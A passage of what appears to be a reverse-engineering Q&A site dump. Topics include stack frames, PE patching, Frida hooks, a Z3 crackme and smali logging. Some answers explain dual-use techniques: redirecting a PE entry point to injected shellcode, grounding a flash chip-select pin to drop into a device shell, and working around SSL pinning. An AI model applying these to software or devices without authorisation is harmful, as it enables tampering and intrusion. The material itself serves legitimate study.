interface.&#xA;&#xA;   7: Load Boot Loader code then write to Flash via Serial. &#xA;&#xA;   9: Load Boot Loader code then write to Flash via TFTP. &#xA;&#xA; 4  3  2  1  0 &#xA;&#xA;&#xA;&#xA;3: System Boot system code via Flash[1st image].&#xA;&#xA;## Booting image at bc050000 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would try to pull CS towards GND right before the counter hits zero. In my case I had a counter like yours and at the end the bootloader started to boot from the flash. When I pulled CS towards ground he couldn't access the flash anymore and I got directly into busybox console where I could explore the file system. &lt;/p&gt;&#xA;" OwnerUserId="29398" LastActivityDate="2019-10-10T12:11:22.957" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22283" PostTypeId="2" ParentId="22280" CreationDate="2019-10-10T13:06:17.183" Score="1" Body="&lt;p&gt;To further expand on perrors answer, you're looking at a function that preserves the stack frame, which is a nice little trick to simplify walking backwards through the call stack. When you initially &lt;code&gt;push EBP&lt;/code&gt; in the prologue, it subtracts pointer size (which is of course &lt;code&gt;0x4&lt;/code&gt; in x86) before writing the old &lt;code&gt;EBP&lt;/code&gt; to the stack, as seen below in equivalent code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SUB ESP, 0x4 ; Result from PUSH  &#xA;MOV [ESP], EBP ; Save old EBP  &#xA;MOV EBP, ESP ; Set new EBP  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now once it reaches the epilogue and restores the stack pointer (&lt;code&gt;ESP&lt;/code&gt;) from the frame pointer (&lt;code&gt;EBP&lt;/code&gt;) it's still 4 bytes below the original stack when entering the function. What's at the current stack pointer? It holds the previous frame pointer from before invoking the current function. By popping &lt;code&gt;EBP&lt;/code&gt; you are both restoring the frame pointer to what it was and fixing the stack at the same time, as shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV ESP, EBP ; Restore ESP from prologue  &#xA;MOV EBP, [ESP] ; Restore saved EBP  &#xA;ADD ESP, 0x4 ; Result from POP  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The return following this can be interpreted as a &lt;code&gt;POP EIP&lt;/code&gt; instruction, as shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EIP, [ESP] ; Redirect execution to return address  &#xA;ADD ESP, 0x4 ; Result from pop  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should also add that CALL can be simplified as a &lt;code&gt;push&lt;/code&gt;/&lt;code&gt;jump&lt;/code&gt;, as shown below.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SUB ESP, 0x4 ; Result from PUSH  &#xA;MOV [ESP], ReturnAddress ; Save next instruction as return address  &#xA;JMP CallAddress ; Redirect execution to call address  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can probably see, this allows you to simply work backwards to get both the frame pointer and return address from previous function calls that led to the current function. Hopefully that explains both the purpose and logic behind the frame pointer preservation your question is based on.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: In terms of the post by perror, I also wanted to point out a couple things. First the constant &lt;code&gt;0x4&lt;/code&gt; should be &lt;code&gt;sizeof(uintptr_t)&lt;/code&gt;. I know your code is x86 so he's not wrong, it's just good to know. Second is that push can be thought of as subtracting the stack before setting the value, while pop can be thought of as the exact opposite, getting the value first before adding the stack.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastEditorUserId="53" LastEditDate="2019-10-11T18:24:17.133" LastActivityDate="2019-10-11T18:24:17.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22284" PostTypeId="2" ParentId="22258" CreationDate="2019-10-10T13:50:55.790" Score="2" Body="&lt;p&gt;Nope. What you're seeing is mostly a bunch of debug strings that were left in. The code itself is still machine language and there's no way to directly translate that back into the original. Your best option is a decompiler like Hex-Rays, but that will still only give an approximation.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastActivityDate="2019-10-10T13:50:55.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22286" PostTypeId="2" ParentId="11775" CreationDate="2019-10-10T20:15:07.540" Score="1" Body="&lt;p&gt;I don't have enough reputation to comment &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/3721/maijin&quot;&gt;maijin&lt;/a&gt; answer, but due to &lt;a href=&quot;https://github.com/radareorg/radare2/issues/9788#issuecomment-412233079&quot; rel=&quot;nofollow noreferrer&quot;&gt;that answer&lt;/a&gt;(&lt;em&gt;r2 issue #9788&lt;/em&gt;) passing params after &lt;strong&gt;-d&lt;/strong&gt; flag can get side effects.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... don't pass flags after -d or may be taken as args of the program&#xA;  in some systems.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="29175" LastActivityDate="2019-10-10T20:15:07.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22287" PostTypeId="2" ParentId="22082" CreationDate="2019-10-10T23:18:37.180" Score="0" Body="&lt;p&gt;This is a really interesting question actually, there's several options and all have issues they need to overcome. I'm not very familiar with ELF (primarily Windows here) but the file format shouldn't make any difference regardless. Static analysis crawling the code section(s), which can be retrieved from the file format, and using a disassembler library such as DiStorm, is enough in many cases. For this you need something smart enough to skip past data in code (i.e embedded jump tables). Symbolic execution is another alternative, but what happens if you have obfuscated control flow branches relying on some dynamic value? Then there's further obfuscation in terms of complete junk being thrown into code which all needs to be skipped. You can also use runtime debugging, which of course has its own flaws, namely limitations on only following branches that have been executed, speed, and evading detection. I would say that in most cases the simplest solution is to write your own static analysis tool or taking advantage of something like IDA scripting. Assuming the majority of your targets are largely unobfuscated, this should be an effective and nearly universal tool (per CPU implementation). If your targets are protected then something like angr is probably more suited to your needs. If you're dealing with virtualization then that's an entirely different question that deserves an answer of its own.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastEditorUserId="29598" LastEditDate="2019-10-10T23:47:10.127" LastActivityDate="2019-10-10T23:47:10.127" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22288" PostTypeId="1" CreationDate="2019-10-11T02:11:55.800" Score="-1" ViewCount="437" Body="&lt;p&gt;So, I have a &quot;simple&quot; question. I have this PE that I want to show a message box when the file is launched. How can I patch the file and make the window? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29868" LastActivityDate="2019-10-11T07:05:11.767" Title="How to add a message box to a PE" Tags="|ida|windows|pe|patching|" AnswerCount="2" CommentCount="3" ClosedDate="2019-10-18T10:38:00.410" ContentLicense="CC BY-SA 4.0" />
  <row Id="22289" PostTypeId="2" ParentId="22288" CreationDate="2019-10-11T03:04:03.857" Score="0" Body="&lt;p&gt;As simply as possible? Spoof AddressOfEntryPoint in the file header. Reroute it to a new (or modified) section. MessageBoxA/W should be placed in your IAT if it isn't already, then just have the EP call OEP before jumping to your embedded shellcode. In your case that code would just be pushing arguments, calling import, and fixing up the stack.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastActivityDate="2019-10-11T03:04:03.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22290" PostTypeId="2" ParentId="22236" CreationDate="2019-10-11T03:30:56.247" Score="1" Body="&lt;p&gt;Sure, just mask the dynamic bytes and increase the size of your pattern.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;48 8D 15 C8 50 DA 00 [Original]&lt;br&gt;&#xA;C8 8D 15 ? ? ? ? ... [New]  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously your pattern will have to be longer to remain unique, but it will stay consistent over most updates unless a compiler setting was changed for the most part. Simply have your pattern ignore dynamic offsets. Well, that's your pattern issue anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of your RIP Relative issue, it's pretty simple.&lt;br&gt;&#xA;Target = (RIP + InstrLen + InstrImm). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Target is simply the next instruction (RIP + InstrLen) with offset being (NextInstr - ImmSize). All you need to know is instruction length and immediate size to follow the branch. Lots of libraries like DiStorm have macros to follow the current instruction as well, if you wanted to use one.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastEditorUserId="29598" LastEditDate="2019-10-11T03:54:33.077" LastActivityDate="2019-10-11T03:54:33.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22292" PostTypeId="2" ParentId="22288" CreationDate="2019-10-11T07:05:11.767" Score="2" Body="&lt;p&gt;There are many steps to patch an executable, but here is I think the easiest one. The highlighted one is the EntryPoint, you can patch the highlighted one and redirect it to your control, in my sample, I added a new executable section but remember, you have to return the control to the original program, or else it will not run properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VCyj2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VCyj2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original Section&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ozHFl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ozHFl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added Section using StudPE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y88Xa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y88Xa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After patching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sjHop.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sjHop.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned from above, you have to return the control to the original program, so after executing the MessageBox , it will return to the original address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p0uN2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0uN2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2019-10-11T07:05:11.767" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22293" PostTypeId="1" AcceptedAnswerId="22298" CreationDate="2019-10-11T09:54:38.977" Score="0" ViewCount="227" Body="&lt;p&gt;I am trying to make a client-sided anticheat which would work similar to BattlEye or GameGuard. In order to do this, I want to create a DLL which would do the cheat verification, which then I would inject to the executable of the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What language should I use for the DLL? I was planning to use C#, but I've noticed that people prefer C++ for these kinds of projects. Why that? What's the downsides of using C# for a DLL?&lt;/p&gt;&#xA;" OwnerUserId="29795" LastActivityDate="2019-10-11T17:09:55.203" Title="Writing a DLL in C# vs C++?" Tags="|c++|c#|dll-injection|" AnswerCount="1" CommentCount="4" ClosedDate="2019-10-14T02:51:27.767" ContentLicense="CC BY-SA 4.0" />
  <row Id="22298" PostTypeId="2" ParentId="22293" CreationDate="2019-10-11T15:36:51.533" Score="0" Body="&lt;p&gt;The downsides really lie in C# being a managed language, you lose a lot of control. For example all of your code will get compiled into RWE memory at runtime which complicates self validation. The compiled code itself also relies strongly on the CLR module which provides even further opportunities to reroute your execution. Further, because of its high level, it's trivial to decompile, making RE much simpler. Finally, as an AC, you're going to eventually need more low level code such as custom assembly blocks for manual syscalls or hooking a custom prototype. None of these downsides are completely 'unfixable' (you can use a worker native module for what's needed, virtualize important code blocks, etc.) but it makes your job that much harder. In the end it depends on what your goals are, but for most purposes you're far better off native for this type of job.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastEditorUserId="29598" LastEditDate="2019-10-11T17:09:55.203" LastActivityDate="2019-10-11T17:09:55.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22299" PostTypeId="1" CreationDate="2019-10-12T02:01:02.760" Score="1" ViewCount="273" Body="&lt;p&gt;I have an SD card that I want to copy the firmware / memory from, my question is what pinouts do I connect to the SPI programmer and what are the commands to copy all of the firmware /memory.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="29875" LastEditorUserId="60" LastEditDate="2019-10-13T19:12:25.277" LastActivityDate="2019-10-13T19:12:25.277" Title="SD card microcontroller" Tags="|firmware|flash|spi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22300" PostTypeId="2" ParentId="197" CreationDate="2019-10-12T03:15:06.600" Score="1" Body="&lt;p&gt;Yep, the answer depends on what exactly you are trying to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of analyzing the .NET app itself, you can get a complete source code by using, e.g. DotPeek written by JetBrains. You can even export it into a fully-functional Visual Studio Project, build it and debug. However, some apps may be obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another scenario is when a .NET app is a part of another application written in another language (e.g. C++). In this case, most likely .NET code is compiled into DLL which is also can be disassembled using apps like DotPeek.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably, there are may exist much more complex scenarios like a custom JIT-compiler, embedded into a malware. In such cases, the most reasonable way may be to write a custom plugin (e.g. using IDAPython for IDA Pro). This plugin should be aware of data structures or behavior and can assist you in each step of a reverse engineering process. But writing a custom plugin may require a lot of knowledge of the underlying language and may be a challenge on its own.&lt;/p&gt;&#xA;" OwnerUserId="21185" LastActivityDate="2019-10-12T03:15:06.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22301" PostTypeId="1" CreationDate="2019-10-12T10:28:17.163" Score="3" ViewCount="161" Body="&lt;p&gt;Z3 is a fantastic tool which helped me a lot! But sometimes I'm stuck on the binary code which implements custom If-logic. Recursive factorial function is good example of it:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def fact(x):&#xA;    if x == 1:&#xA;        return 1&#xA;    else:&#xA;        return x * fact(x - 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm aware of the fact Z3 python has &lt;a href=&quot;https://github.com/FSecureLABS/z3_and_angr_binary_analysis_workshop/blob/master/z3/x86/jg_solution.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;If()&lt;/code&gt;&lt;/a&gt; function but it can only switch between two values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is example of simple keygen-me which I wrote to illustrate this problem. Is there a way to solve it cleanly with Z3?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;&#xA;def fact(x):&#xA;    if x == 1:&#xA;        return 1&#xA;    else:&#xA;        return x * fact(x - 1)&#xA;&#xA;def check_serial(s):&#xA;&#xA;    for i in range(len(s)):&#xA;        if s[i] &amp;lt; 10:&#xA;            print(&quot;[!] poor serial number&quot;)&#xA;            exit(0)&#xA;&#xA;    facts = [fact(s[i]) for i in range(len(s))]&#xA;&#xA;    xor = 0&#xA;    for i in range(len(s)):&#xA;        xor = xor ^ facts[i]&#xA;&#xA;    return xor&#xA;&#xA;&#xA;if len(sys.argv) != 9:&#xA;    print(&quot;[!] Usage: %s x x x x x x x x, where is number &amp;gt; 10&quot; % sys.argv[0])&#xA;    exit(0)&#xA;&#xA;&#xA;nums = [int(x) for x in sys.argv[1:]]&#xA;&#xA;&#xA;if check_serial(nums) == 0x3fb4b7f405d4fb5e2a6740000:&#xA;    print(&quot;[+] serial number is valid, congratz!&quot;)&#xA;else:&#xA;    print(&quot;[!] serial number is invalid&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25069" LastEditorUserId="25069" LastEditDate="2019-10-12T12:27:21.330" LastActivityDate="2019-10-12T12:27:21.330" Title="Z3 and If-logic" Tags="|python|crackme|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22302" PostTypeId="2" ParentId="22216" CreationDate="2019-10-12T12:03:24.537" Score="0" Body="&lt;p&gt;Eventually, I analyzed how the program looks with all the symbols from the PDB file so that I'll know the actual Main function address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After finding that out, I just searched the file without the PDB to understand what path do I need to take in order to get to the main function from the start function that the MSVC creates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solves my problem for future programs compiled with the MSVC aswell.&lt;/p&gt;&#xA;" OwnerUserId="29754" LastActivityDate="2019-10-12T12:03:24.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22303" PostTypeId="2" ParentId="22142" CreationDate="2019-10-12T13:50:35.663" Score="6" Body="&lt;p&gt;Try using &lt;code&gt;Memory.patchCode&lt;/code&gt; to achieve this. Here's a short example.&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;int test() { return 1024; }&#xA;&#xA;int main(int argc, char **argv) {&#xA;    printf(&amp;quot;%d\n&amp;quot;, test());&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When compiled this looks like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400560]&amp;gt; s sym.test&#xA;[0x00400656]&amp;gt; pdf&#xA;┌ (fcn) sym.test 11&#xA;│   sym.test ();&#xA;│           ; CALL XREF from main @ 0x400670&#xA;│           0x00400656      55             push rbp&#xA;│           0x00400657      4889e5         mov rbp, rsp&#xA;│           0x0040065a      b800040000     mov eax, 0x400              ; 1024&#xA;│           0x0040065f      5d             pop rbp&#xA;└           0x00400660      c3             ret&#xA;[0x00400656]&amp;gt; s sym.main&#xA;[0x00400661]&amp;gt; pdf&#xA;┌ (fcn) main 44&#xA;│   int main (int argc, char **argv, char **envp);&#xA;│           ; var char **var_10h @ rbp-0x10&#xA;│           ; var int32_t var_4h @ rbp-0x4&#xA;│           ; arg int argc @ rdi&#xA;│           ; arg char **argv @ rsi&#xA;│           ; DATA XREF from entry0 @ 0x40057d&#xA;│           0x00400661      55             push rbp&#xA;│           0x00400662      4889e5         mov rbp, rsp&#xA;│           0x00400665      4883ec10       sub rsp, 0x10&#xA;│           0x00400669      897dfc         mov dword [var_4h], edi     ; argc&#xA;│           0x0040066c      488975f0       mov qword [var_10h], rsi    ; argv&#xA;│           0x00400670      e8e1ffffff     call sym test()             ; sym.test&#xA;│           0x00400675      89c6           mov esi, eax&#xA;│           0x00400677      bf24084000     mov edi, 0x400824           ; const char *format&#xA;│           0x0040067c      b800000000     mov eax, 0&#xA;│           0x00400681      e89afeffff     call sym.imp.printf         ; int printf(const char *format)&#xA;│           0x00400686      b800000000     mov eax, 0&#xA;│           0x0040068b      c9             leave&#xA;└           0x0040068c      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At 0x0040065a, the constant 1024(0x400) is copied to eax. When run this looks like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ./test&#xA;1024&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This can be patched at runtime by frida using &lt;code&gt;patchCode&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-js prettyprint-override&quot;&gt;&lt;code&gt;var pc = new NativePointer(0x0040065a)&#xA;Memory.patchCode(pc, 5, function (code) {&#xA;  var cw = new X86Writer(code, { pc: pc });&#xA;  cw.putMovRegU32('eax', 999);&#xA;  cw.flush();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When run&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ frida -q -l patch_code.js -f ./test --no-pause&#xA;Spawned `./test`. Resuming main thread!                                  &#xA;999&#xA;Process terminated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another method of hooking a function is to use an &lt;code&gt;Interceptor&lt;/code&gt; with &lt;code&gt;onEnter&lt;/code&gt; to access args and &lt;code&gt;onLeave&lt;/code&gt; to access the return value.&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-js prettyprint-override&quot;&gt;&lt;code&gt;function hook(address) {&#xA;    Interceptor.attach(address, {&#xA;        onEnter: function (args) {&#xA;            console.log(args[0])&#xA;        },&#xA;        onLeave: function (ret) {&#xA;            ret.replace(999)&#xA;        }&#xA;    })&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2024-03-21T11:45:53.037" LastActivityDate="2024-03-21T11:45:53.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22306" PostTypeId="2" ParentId="22279" CreationDate="2019-10-13T00:25:30.603" Score="0" Body="&lt;p&gt;Unfortunately I'm still new around here and don't have enough reputation yet to comment so this will need to be an answer, hopefully it qualifies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are you reading and writing the file? Did you confirm that the file has the control characters embedded properly in a hex editor? You said earlier that your victim reads input from an HTML file, I assume by that you mean it actually reads the HTML file itself? Without knowing exactly how you're reading / writing it I can't be sure, but my guess would be that you're using a stream that filters out control characters appropriately. Something like the code below should work fine for your purposes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void WriteTarget(const char* FilePath, uintptr_t TargetAddr)&#xA;{&#xA;    std::ofstream ofs(FilePath, std::ios::trunc | std::ios::binary);&#xA;    ofs.write(reinterpret_cast&amp;lt;const char*&amp;gt;(&amp;amp;TargetAddr), sizeof(uintptr_t));&#xA;    ofs.close();&#xA;}&#xA;&#xA;void ReadTarget(const char* FilePath)&#xA;{&#xA;    std::ifstream ifs(FilePath, std::ios::in | std::ios::binary);&#xA;&#xA;    ifs.seekg(0, std::ios::end);&#xA;    auto file_len = ifs.tellg();&#xA;    ifs.seekg(0, std::ios::beg);&#xA;&#xA;    uint8_t* file_data = new uint8_t[file_len];&#xA;    memset(file_data, 0, file_len);&#xA;&#xA;    ifs.read(reinterpret_cast&amp;lt;char*&amp;gt;(file_data), file_len);&#xA;    ifs.close();&#xA;&#xA;    std::cout &amp;lt;&amp;lt; &quot;File Contents&quot; &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    for (auto i = 0; i &amp;lt; file_len; ++i)&#xA;        std::cout &amp;lt;&amp;lt; &quot;0x&quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; std::uppercase &amp;lt;&amp;lt; static_cast&amp;lt;uint32_t&amp;gt;(file_data[i]) &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    delete[] file_data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29598" LastActivityDate="2019-10-13T00:25:30.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22307" PostTypeId="1" CreationDate="2019-10-13T17:02:38.350" Score="0" ViewCount="1036" Body="&lt;p&gt;I have an APK that uses pinning. I am having an unbelievable time trying to remove the SSL pinning so i figure it might be easier to modify the smali files and recompile to log the LoadURL events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the method I am trying to log the URL it loads. I have tried to use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;invoke-static {v0, v1}, Landroid/util/Log;-&amp;gt;e(Ljava/lang/String;Ljava/lang/String;)I&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i get register errors in the Android studio logcat.  Any ideas or a better way to see what urls this APK is loading along with the POST request?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.method public run()V&#xA;    .locals 3&#xA;&#xA;    sget v0, Landroid/os/Build$VERSION;-&amp;gt;SDK_INT:I&#xA;&#xA;    const/16 v1, 0x12&#xA;&#xA;    if-le v0, v1, :cond_0&#xA;&#xA;    iget-object v0, p0, Lcom/gigya/socialize/android/GSWebBridge$6;-&amp;gt;this$0:Lcom/gigya/socialize/android/GSWebBridge;&#xA;&#xA;    invoke-static {v0}, Lcom/gigya/socialize/android/GSWebBridge;-&amp;gt;access$100(Lcom/gigya/socialize/android/GSWebBridge;)Landroid/webkit/WebView;&#xA;&#xA;    move-result-object v0&#xA;&#xA;    iget-object v1, p0, Lcom/gigya/socialize/android/GSWebBridge$6;-&amp;gt;val$invocation:Ljava/lang/String;&#xA;&#xA;    new-instance v2, Lcom/gigya/socialize/android/GSWebBridge$6$1;&#xA;&#xA;    invoke-direct {v2, p0}, Lcom/gigya/socialize/android/GSWebBridge$6$1;-&amp;gt;&amp;lt;init&amp;gt;(Lcom/gigya/socialize/android/GSWebBridge$6;)V&#xA;&#xA;    invoke-virtual {v0, v1, v2}, Landroid/webkit/WebView;-&amp;gt;evaluateJavascript(Ljava/lang/String;Landroid/webkit/ValueCallback;)V&#xA;&#xA;    goto :goto_0&#xA;&#xA;    :cond_0&#xA;    iget-object v0, p0, Lcom/gigya/socialize/android/GSWebBridge$6;-&amp;gt;this$0:Lcom/gigya/socialize/android/GSWebBridge;&#xA;&#xA;    invoke-static {v0}, Lcom/gigya/socialize/android/GSWebBridge;-&amp;gt;access$100(Lcom/gigya/socialize/android/GSWebBridge;)Landroid/webkit/WebView;&#xA;&#xA;    move-result-object v0&#xA;&#xA;    iget-object v1, p0, Lcom/gigya/socialize/android/GSWebBridge$6;-&amp;gt;val$invocation:Ljava/lang/String;&#xA;&#xA;    invoke-virtual {v0, v1}, Landroid/webkit/WebView;-&amp;gt;loadUrl(Ljava/lang/String;)V&#xA;&#xA;&#xA;    :goto_0&#xA;    return-void&#xA;.end method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another example, I tried to add a simple log on 2 consts and it errors out as well and crashes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    move-result-object v1&#xA;&#xA;    const-string v2, &quot;/&quot;&#xA;&#xA;    const-string v3, &quot;&quot;&#xA;&#xA;    invoke-static {v2, v3}, Landroid/util/Log;-&amp;gt;e(Ljava/lang/String;Ljava/lang/String;)I (this is the added line)&#xA;&#xA;&#xA;    invoke-virtual {v1, v2, v3}, Ljava/lang/String;-&amp;gt;replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;&#xA;&#xA;    move-result-object v1&#xA;&#xA;    invoke-virtual {p1}, Landroid/net/Uri;-&amp;gt;getEncodedQuery()Ljava/lang/String;&#xA;&#xA;    move-result-object p1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In log cat I get the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2019-10-13 13:52:46.823 14636-14636/? W/dex2oat: Verification error in boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String)&#xA;2019-10-13 13:52:46.823 14636-14636/? W/dex2oat: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String) failed to verify: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String): [0x29] Rejecting invocation, expected 1 argument registers, method signature has 2 or more&#xA;2019-10-13 13:53:56.296 14703-14703/? W/System.err: a.b.c.f: The exception could not be delivered to the consumer because it has already canceled/disposed the flow or the exception has nowhere to go to begin with. Further reading: https://github.com/ReactiveX/RxJava/wiki/What's-different-in-2.0#error-handling | java.lang.VerifyError: Verifier rejected class com.gigya.socialize.android.GSWebBridge: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String) failed to verify: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String): [0x29] Rejecting invocation, expected 1 argument registers, method signature has 2 or more (declaration of 'com.gigya.socialize.android.GSWebBridge' appears in base.apk)&#xA;2019-10-13 13:53:56.297 14703-14703/? W/System.err: Caused by: java.lang.VerifyError: Verifier rejected class com.gigya.socialize.android.GSWebBridge: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String) failed to verify: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String): [0x29] Rejecting invocation, expected 1 argument registers, method signature has 2 or more (declaration of 'com.gigya.socialize.android.GSWebBridge' appears in base.apk)&#xA;2019-10-13 13:53:56.297 14703-14703/? W/System.err:     at com.gigya.socialize.android.GSWebBridge.attach(Unknown Source:0)&#xA;2019-10-13 13:53:56.399 14703-14703/? E/AndroidRuntime: FATAL EXCEPTION: main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the app crashes as well.&lt;/p&gt;&#xA;" OwnerUserId="29883" LastEditorUserId="1413" LastEditDate="2019-10-16T07:07:52.797" LastActivityDate="2021-01-27T13:08:05.890" Title="LOG Urls that APK requests using smali" Tags="|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
